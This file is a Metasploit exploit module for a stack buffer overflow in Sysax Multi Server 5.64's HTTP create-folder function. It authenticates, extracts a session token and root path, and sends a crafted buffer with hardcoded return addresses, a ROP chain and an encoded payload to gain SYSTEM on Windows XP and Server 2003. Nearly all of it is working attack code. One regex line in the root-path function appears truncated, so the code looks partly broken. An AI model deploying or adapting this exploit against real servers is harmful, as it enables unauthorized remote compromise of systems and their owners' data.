require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Sysax Multi Server 5.64 Create Folder Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the create folder function in
Sysax Multi Server 5.64. This issue was fixed in 5.66. In order to trigger the
vulnerability valid credentials with the create folder permission must be provided.
The HTTP option must be enabled on Sysax too.
This module will log into the server, get a SID token, find the root folder, and
then proceed to exploit the server. Successful exploits result in SYSTEM access.
This exploit works on XP SP3, and Server 2003 SP1-SP2.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt "hostess" Andreko',
],
'References' =>
[
[ 'EDB', '20676' ],
[ 'URL', 'http://www.mattandreko.com/2012/07/sysax-564-http-remote-buffer-overflow.html' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x2F\x0d\x0a",
'Space' => '1299',
'DisableNops' => true,
},
'Targets' =>
[
[ 'Windows XP SP3 / Sysax Multi Server 5.64',
{
'Rop' => false,
'Ret' => 0x77c35459,
'Offset' => 711,
}
],
[ 'Windows 2003 SP1-SP2 / Sysax Multi Server 5.64',
{
'Rop' => true,
'Ret' => 0x77baf605,
'Offset' => 711,
'Nop' => 0x77bd7d82,
}
],
],
'Privileged' => true,
'DisclosureDate'=> 'Jul 29 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to the Sysax web application', '/']),
Opt::RPORT(80),
OptString.new('SysaxUSER', [ true, "Username" ]),
OptString.new('SysaxPASS', [ true, "Password" ])
], self.class)
end
def create_rop_chain()
rop_gadgets = []
if (target == targets[1])
rop_gadgets =
[
0x77be3adb,
0x77ba1114,
0x77bbf244,
0x41414141,
0x77bb0c86,
0x77bdb896,
0x77be2265,
0x77bdeebf,
0x2cfe0668,
0x77bdfb80,
0x77bdfe37,
0x77bdf0da,
0x2cfe04a7,
0x77bdfb80,
0x77bb8285,
0x77bcc2ee,
0x77befbb4,
0x77bbf75e,
0x77bd7d82,
0x77bdf0da,
0x90909090,
0x77be6591,
].flatten.pack("V*")
end
return rop_gadgets
end
def get_sid
user = datastore['SysaxUSER']
pass = datastore['SysaxPASS']
creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}"
r = send_request_cgi({
'method' => "POST",
'uri' => "#{target_uri.to_s}scgi?sid=0&pid=dologin",
'data' => creds
})
sid = r.body.match(/sid=([A-Z0-9a-z]{40})/)[1]
print_status "SID: #{sid.to_s}"
sid.to_s
end
def get_root_path(sid)
random_folder_name = rand_text_alpha(8)
r = send_request_cgi({
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm",
'method' => 'POST',
})
root_path = r.body.match(/^invalid path: (.*)\\
print_status "Root Dir: #{root_path}"
root_path
end
def exploit
connect
sid = get_sid
root_path = get_root_path(sid)
buffer = rand_text(target['Offset']-root_path.length)
buffer << [target.ret].pack('V')
if (target['Rop'])
buffer << [target['Nop']].pack('V')*16
buffer << create_rop_chain()
end
buffer << make_nops(15)
buffer << payload.encoded
post_data = Rex::MIME::Message.new
post_data.add_part(buffer, nil, nil, "form-data; name=\"e2\"")
post_data.bound = rand_text_numeric(57)
r = send_request_cgi({
'uri' => "#{target_uri.to_s}scgi?sid=#{sid}&pid=mk_folder2_name1.htm",
'method'=> 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
})
disconnect
end
end